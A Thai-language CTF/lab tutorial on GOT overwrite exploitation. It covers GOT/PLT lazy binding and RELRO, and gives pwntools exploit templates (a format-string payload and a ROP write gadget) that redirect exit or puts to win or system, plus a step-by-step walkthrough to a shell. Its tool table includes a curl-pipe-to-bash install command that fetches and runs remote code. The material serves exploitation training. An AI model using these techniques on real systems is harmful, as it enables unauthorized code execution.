GOT Overwrite
GOT Overwrite เขียนทับ entry ใน Global Offset Table เพื่อเปลี่ยนปลายทางของฟังก์ชัน library — เมื่อโปรแกรมเรียกฟังก์ชันนั้นครั้งถัดไป จะกระโดดไป address ที่เราใส่แทน บทนี้ลงลึกกลไก GOT/PLT/lazy binding, RELRO ทุกระดับ, การหา GOT, วิธี overwrite (format string/write primitive), และเป้าหมายที่นิยม (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. GOT/PLT และ lazy binding
โปรแกรมที่ link แบบ dynamic ไม่รู้ address จริงของฟังก์ชัน libc ตอน compile จึงใช้กลไก 2 ตาราง: PLT (Procedure Linkage Table — stub ที่โค้ดเรียก) และ GOT (Global Offset Table — เก็บ address จริง) ด้วย lazy binding ครั้งแรกที่เรียกฟังก์ชัน PLT จะให้ dynamic linker resolve หา address จริงแล้วเขียนลง GOT ครั้งต่อไปเรียกตรงจาก GOT — ดังนั้นถ้าเราเขียนทับ GOT entry ให้ชี้ไปที่อื่น (เช่น system/win) ครั้งต่อไปที่โปรแกรมเรียกฟังก์ชันนั้นจะรันสิ่งที่เราใส่แทน
2. RELRO — ตัวกำหนดว่าทำได้ไหม
RELRO (RELocation Read-Only) คือ mitigation ที่ทำ GOT เป็น read-only — เป็นตัวตัดสินว่า GOT overwrite ทำได้หรือไม่ ตรวจด้วย checksec
| RELRO | GOT เขียนได้? | ผล |
|---|---|---|
| No RELRO | ได้ทั้งหมด | overwrite ได้ง่าย |
| Partial RELRO | GOT เขียนได้ (lazy binding) | overwrite ได้ (พบบ่อยสุด) |
| Full RELRO | GOT read-only | overwrite ไม่ได้ → หาเป้าอื่น |
3. หา GOT entry
# objdump — ดู GOT relocations
objdump -R ./vuln | grep -iE 'puts|printf|exit'
# readelf
readelf -r ./vuln | grep puts
# pwntools (ในสคริปต์)
python3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.got['puts']), hex(e.plt['puts']))"
# e.got['puts'] = address ของ GOT entry (เป้าที่จะเขียน)
# e.plt['puts'] = address ของ PLT stub (ไว้เรียก)4. วิธี overwrite (ต้องมี write primitive)
GOT overwrite ต้องมี arbitrary write primitive ก่อน — ที่พบบ่อยคือ format string (%n) หรือ write-what-where gadget จาก ROP หรือ heap exploitation
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
offset = 6 # format string offset (ดู format-string)
# เขียน GOT[exit] = win → เมื่อโปรแกรมเรียก exit() จะรัน win
payload = fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']})
p.sendline(payload)
p.interactive()from pwn import *
elf = context.binary = ELF('./vuln')
rop = ROP(elf)
# gadget: mov [rdi], rsi ; ret (เขียน rsi ลง [rdi])
# จัด rdi = GOT entry, rsi = ค่าใหม่ แล้วเรียก gadget
rop.rdi = elf.got['puts']
rop.rsi = elf.symbols['win']
rop.raw(WRITE_GADGET) # mov [rdi],rsi; ret
payload = b'A'*72 + rop.chain()5. เป้าหมายที่นิยม + เลือกให้ดี
- GOT[exit] → win/system: ดี เพราะ exit ถูกเรียกตอนจบ (หลังเราเขียนเสร็จ)
- GOT[puts]/[printf] → system: ถ้าโปรแกรมเรียกอีกครั้งด้วย arg ที่เราคุม (เช่น puts(input) → system(input))
- GOT ของ loop function: ฟังก์ชันที่ถูกเรียกซ้ำใน loop
- ระวัง: อย่าเขียนทับฟังก์ชันที่ ถูกเรียกก่อนเราเขียนเสร็จ (จะ crash ก่อน)
- เทคนิคคลาสสิก: GOT[strlen/puts] → system แล้วถ้าโปรแกรมทำ puts(user_input) = system(user_input) → ใส่ "/bin/sh"
6. Quick Reference
- GOT = ตาราง address จริงของ libc func (lazy binding)
- overwrite GOT entry → เปลี่ยนปลายทางฟังก์ชัน
- ต้อง Partial/No RELRO (Full RELRO = GOT readonly → เป้าอื่น)
- หา: objdump -R ./vuln | grep func; e.got['func']
- เขียนด้วย: fmtstr_payload / write gadget ROP / heap
- เป้านิยม: GOT[exit]→win; GOT[puts]→system
- เลือกเป้าที่ถูกเรียก 'หลัง' เราเขียนเสร็จ
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติมี write primitive (จาก format string หรือ ROP write gadget) แล้ว แต่ยังไม่รู้จะเขียนไปที่ไหนถึงจะได้ shell — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น
- 1เช็ค RELRO ก่อนอื่น:
checksec ./vulnดูว่า No/Partial/Full - 2ถ้า Full RELRO หยุดตรงนี้ — GOT เขียนไม่ได้ ต้องหาเป้าอื่น (ดู flow ด้านล่าง)
- 3ถ้า No/Partial หา address ของ GOT entry:
objdump -R ./vuln | grep -iE 'puts|exit|printf' - 4หรือใช้ pwntools:
python3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.got['puts']))" - 5เลือกเป้าที่ 'ถูกเรียกหลัง' เราเขียนเสร็จ — เช่น GOT[exit] มักปลอดภัยสุด
- 6ถ้ามี format string: สร้าง payload ด้วย
fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']}) - 7ถ้ามี write gadget จาก ROP: จัด rdi=GOT entry, rsi=ค่าใหม่ แล้วเรียก gadget
mov [rdi], rsi ; ret - 8ส่ง payload แล้ว trigger ให้โปรแกรมเรียกฟังก์ชันที่ถูก overwrite (เช่นให้โปรแกรม exit เอง)
- 9ถ้าได้ shell แล้วจบ; ถ้ายังไม่ได้ ลองเป้าอื่น เช่น GOT[puts]→system แล้วให้โปรแกรม puts(user_input)
- 10ยืนยัน local สำเร็จก่อนค่อยยิง remote
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ดู RELRO | checksec | - | - |
| หา GOT/PLT address | objdump, readelf | - | dogbolt.org |
| สร้าง write payload | pwntools | pip install pwntools | - |
| หา write gadget | ROPgadget / ropper | pip install ropper | ropshell.com |
| debug ยืนยันค่า GOT | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| decompile ดูว่าฟังก์ชันไหนถูกเรียกซ้ำ | radare2 / Ghidra | apt install radare2 | dogbolt.org |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้